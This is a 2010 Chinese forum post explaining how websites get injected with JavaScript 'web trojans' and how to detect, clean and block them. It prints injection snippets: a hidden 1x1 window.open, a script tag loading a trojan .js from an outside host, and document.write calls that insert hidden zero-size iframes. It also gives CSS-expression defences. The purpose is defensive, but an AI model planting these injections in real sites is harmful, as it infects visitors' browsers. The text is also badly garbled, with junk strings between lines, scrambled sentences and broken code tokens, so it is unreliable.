搜索
查看: 10844|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

: N) N% u0 B% b" n* H# o

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

: ~+ t& C1 l5 M6 l( Y) Y* u6 n* F# Q

IFRAME 和 JS 脚本挂马。

. e& D& f( q6 w

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

+ L" i4 B) a% O% w+ Y

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

+ V+ Y2 ]( I8 O% V: M0 I

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

8 @1 B8 _8 F4 q! M' w- J. S3 h

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

0 r/ `6 n* V1 t/ `4 m

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

8 a- d( y" H0 B- T8 I/ n0 O

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

9 S5 }. w& ^) R: `. V6 y

。一千多位会员的 ID

& R0 w! S3 `3 d

2: 如何检测网页是否被挂马。

' H- u% p: k8 p0 k/ R1 b

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

, @* W; I. H/ f- |3 P

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

& P) Z6 B3 D, m/ r' ]- b9 e6 ]

因素。
2 googl 检测。>

Q7 @$ J* a9 q( a9 P1 s

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

6 C) Z) e z4 ]( \2 T

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

T. z- n) k, C( d- G! D5 W/ y3 Y+ F

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

8 o9 |5 L/ }8 B2 ^! J2 ^

( z D( v2 V5 ?$ h

3: 如何清除网页木马。

& ~+ `2 x0 q1 E" ?9 r

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

. w* B# J) ]/ Y' S# h& p* Z

入源文件把相关的网页挂马种类的可疑代码删除。

v$ F+ ~7 g, p ^+ S% @

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

f# x( Q, ~, m4 V/ H, D% ]3 L

悉。>

# r% X$ R% u. k! [! k7 b% x

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

% b1 T0 `2 E2 e- _3 ]

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

! @# Z7 Y$ \1 W% o+ M6 \' |

2 保证你所使用的顺序及时的更新。

. h& e w. Y% a1 P) I8 `

3 不要在前台网页上加注后台管理程序登陆页面的链接。

5 e7 h1 C+ V" u5 w

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

! ^- U+ u2 {) k: L1 Z! R* d" ?

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

8 f: P9 m8 v" g# O

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

5 ~; |( Y9 }3 M+ C6 K/ K

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

( t/ e" }1 \# `0 H& T) T

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

9 y# X* S, R# f! a& f6 j( q( t/ Q

. W. r `- G# z- q+ Q0 h8 {

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

' m7 [( Q: ~% }! {2 B, |1 i

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

/ @, Z" l) q1 @& R! q( A

JS 挂马溯源

" L) a: W5 S0 N$ H2 _

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

6 _9 m/ N; q* c! y5 Q: x1 {

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

+ r/ o$ C; B/ u1 g2 ?: I

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

! O U/ o N, S4 B

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

) U$ @- U3 o k7 m; J* l( T

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

: B9 W1 I$ B% p6 h. |& v

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

8 w+ r) |# s& f4 T

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

/ _: C! [! y& [6 S

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

# M; _+ P) I1 ?6 e5 t

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

% T. M# b6 ]+ B. c* c, A1 o. e

脚本在工作中会有很大的协助。

, Q$ s' z: K o

挂马原理一点通

8 K* S. i$ M- W: e* G) ^

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

; S9 W5 O u3 ^* u3 L) U% c) |8 x5 g0 M

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

2 Q& D& u' z* O6 E9 R7 ^9 S, d

无从区分木马在何处。

7 l: I8 v0 M- F, B# S" i: J3 P3 D

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

3 b" ~4 j0 ~8 C2 ?6 M! o

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

0 S0 B4 K W, W w

容易蒙混过关,导致木马久杀不绝。

5 n% T8 E7 b' n- g. c5 Q

JS 挂马攻防实录

% H& |- x, o5 e$ \! F$ e2 |

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

7 v1 Z$ Q( Y6 F. q, f

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

; c9 n2 s8 h/ t" i- O/ X; A, e# O

这种方法使用的关键代码如下:

) x0 L' k8 Y: U5 ]7 P/ _$ z' h

"",  window.open "http://www.v404.cn/ 木马

2 U }4 g% O: ^3 g$ g

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

: W( E% @* K2 t7 v4 @5 o

2 T5 Y" y( z$ J/ v

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

5 Z) e5 l- c* s8 g$ W% a$ B- u

但是设置为 0 后,可能会出现恶意代码不运行的情况。

. q: M- w$ o- B. j7 H, p) k$ a; y

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

7 N, X5 Y- h9 G! ?" P# y6 q

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

4 W( i! h" c! G6 c7 A

3 Z/ |8 _0 d( x( y, [% h

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

9 r. d8 q; L7 l9 @$ i1 z

5 I( Q5 e. v, j3 @

或者

1 U* m- ^9 ]- M- J( v- d# o

document.writ "<div style='display:none'>"

# f' U0 x, i( o' T: \

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

! ?4 j! h5 j" f) m' y

document.writ "</div>"
 

4 {5 l r9 m4 `1 u" o# I. `

) Z6 v" q2 O# F' G0 I+ J) I5 |

就成功地将木马挂到对方的网页中了

' ~4 a! z0 E$ [8 W

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

" V9 |" y' @5 _$ E3 N* U: y

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

, \5 ?1 E+ Z. e8 S

或者:

+ r; q! \- X7 n" m$ _' O' I

<ifram src="vbscript:[ 挂马脚本 ]">

# [0 Y9 s8 i! `, e: S4 |

& D0 ~" F$ F# N, q1 |$ |% v; `* m" V


等等 …

' z( v# d* |6 @4 J! d- X0 d

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

1 t; w, t4 b5 j) m

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

6 P7 @+ Y) k% q

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

- }! X% S/ ]5 y8 q0 V* ^, R* I

;}

/ j0 g0 D5 F3 n

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

4 U; ^; b. A5 j0 u. x, k

7 o4 C8 C) R2 N$ S

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

# q1 u8 c2 `/ c

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

& w6 s# Q# F' ~

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

) w7 Q- G1 N- H4 X7 D6 K

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

# ?# O/ b7 ~( U: u- V4 ]+ r9 l* {

<title> 让 JS 挂马中止的 CSS 代码 </title>

' ?. J1 X2 g9 G- f

<styl type="text/css" id="shudoo">

' a R" X* J* r" s8 J2 m5 i3 T+ |

/*<![CDATA[*/

. l9 F; v1 v9 Y: h$ Z* d- g

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

3 N" e% N: p! E5 K1 K; s8 W. V

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

( o* [9 D1 ]6 Q/ p, q. k# q

/*]]>*/

" L- t+ C! W3 f

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表